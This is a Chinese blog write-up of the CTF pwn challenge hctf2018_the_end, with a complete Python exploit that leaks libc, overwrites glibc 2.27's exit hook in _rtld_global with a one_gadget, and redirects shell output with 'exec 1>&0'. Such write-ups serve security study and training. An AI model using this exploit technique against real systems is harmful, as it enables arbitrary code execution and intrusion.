首页 > 其他分享 >buuoj-pwn-hctf2018_the_end

buuoj-pwn-hctf2018_the_end

时间:2023-01-02 17:35:33浏览次数:73  
标签:hctf2018 bin end gift libc sh pwn lb NULL

buuoj-pwn-hctf2018_the_end

总结

  • lb = ELF(...)使用
  • 重温了一遍攻击exit指针,还有如何找__libc_atexit

image-20230102170608665

虽然改不了

题目分析

GLIBC

2.27有vtable_check

逆向分析

image-20230102170809399

利用思路

由于有vtable_check,我们无法打IO,只能攻击exit的调用的函数指针(也被成为exit_hook),这题我们就用往exit_hook写one_gadget即可。但是注意我们只有一个输入流,即标准输入 0。我们利用重定向将shell的标准输出输出到标准输入即可

EXP

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-01-02 15:27:58
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('here is a gift ')
leak_libc = int(ru(",")[:-1],16)
log_address_ex2(leak_libc)
lb = leak_libc - libc.sym.sleep
log_address_ex2(lb)
libc.address = lb
ld = ELF('/home/hack/libc/2.27-3ubuntu1_amd64//ld-2.27.so')
ld.address = lb + 0x3F1000

global_attack =  ld.sym["_rtld_global"] + 0xF00 + 8
'''
─ one_gadget libc-2.27.so -l 2                                              ─╯
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
  [r14] == NULL || r14 == NULL
  [r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
'''
ogg = p64(0x4f322 + lb)

for i in range(5):
    s(p64(global_attack+i))
    s(ogg[i:1+i])
sleep(1)
sl('exec 1>&0')
ia()

标签:hctf2018,bin,end,gift,libc,sh,pwn,lb,NULL
From: https://www.cnblogs.com/7resp4ss/p/17020230.html

相关文章

  • Calendar 类的应用-2023-1-2
    Date类最主要的作用就是获得当前时间,同时这个类里面也具有设置时间以及一些其他的功能,但是由于本身设计的问题,这些方法却遭到众多批评,不建议使用,更推荐使用Calendar类进......
  • Django中render()函数和redirect()函数
    render()作用:render是渲染变量(结合一个给定的模板和一个给定的上下文字典)在模板中,通俗点将context的内容,加载进模板中定义的文件,通过浏览器渲染呈现。render()方法常用的......
  • spring出现依赖关系形成循环问题,The dependencies of some of the beans in the appli
    出现这个问题大多使用的springboot都是在2.6.x以上,springboot在2.6.x就将依赖循环禁用了,解决方式有以下几种: 解决方式: 1、第一种解决方式:可以优化自己程序的逻辑,优......
  • 第十章《日期与时间》第2节:Calendar类的使用
    ​Date类诞生于JDK1.0版本,这个类有一些设计上的明显缺陷,其中最明显的一个缺陷就是Date类当中所定义的年份和真实的年份相差了1900,这导致开发者在对年份进行计算的时候还要多......
  • NioEndpoint_tomcat压测瓶颈
    示意图简述1. tomcat开启端口,通过backlog觉得TCP半连接、全连接的大小。ssl-lnt2. Nioendpoint通过maxConnectlatch控制accept接入通道连接的大小3. ......
  • 关于python列表的insert和append方法的执行效率对比
    关于python中insert可以在指定的索引前插入元素,也即是插入的元素的索引即为指定的索引而append方法,是指的在列表的末尾处添加/追加一个元素 两种方法都是为列表新增加......
  • S2 - Lesson - 3 - Please send me a card
    Words sendsend,sent,sentsendacardsendmeacard.=sendacardtome. spoil精神上的损坏damage可修复的损坏destroy大规模的损坏ruin一点一点损坏......
  • lctf2016_pwn200 堆利用
    lctf2016:pwn200堆利用一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说尽量减少可写......
  • 绿城杯uaf_pwn 分析
    绿城杯uaf_pwn分析10月11日~10月15日一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说......
  • buuoj-pwn-ciscn_2019_final_10
    buuoj-pwn-ciscn_2019_final_10总结题目分析glibcubuntu18.04,对应GLIBC2.27,对于这题,我们知道doublefree没检查就行逆向分析关键函数一第一个箭头所指没法绕过,随便......